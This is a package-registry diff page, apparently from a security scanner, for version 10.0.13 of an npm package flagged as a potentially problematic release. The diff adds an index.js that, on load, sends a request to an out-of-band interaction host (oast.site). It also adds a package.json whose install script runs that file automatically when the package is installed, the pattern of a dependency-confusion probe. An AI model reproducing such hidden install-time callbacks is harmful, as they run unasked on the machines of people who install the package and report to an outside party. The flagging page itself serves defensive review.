@vertiv-co/viewer-service-library 10.0.13

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of @vertiv-co/viewer-service-library might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +16 -0
  2. package/package.json +11 -0
package/index.js ADDED
@@ -0,0 +1,16 @@
1
+ const axios = require('axios');
2
+
3
+ async function sendRequest() {
4
+ try {
5
+ const response = await axios.get('https://cqg77kled631sm393c0gxr9tggs83149n.oast.site/');
6
+ } catch (error) {
7
+ console.error('Error sending request:', error);
8
+ }
9
+ }
10
+
11
+ // Call the function
12
+ sendRequest();
13
+
14
+ module.exports = function() {
15
+ console.log("test");
16
+ };
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "@vertiv-co/viewer-service-library",
3
+ "version": "10.0.13",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "install": "node index.js"
7
+ },
8
+ "dependencies": {
9
+ "axios": "^1.7.2"
10
+ }
11
+ }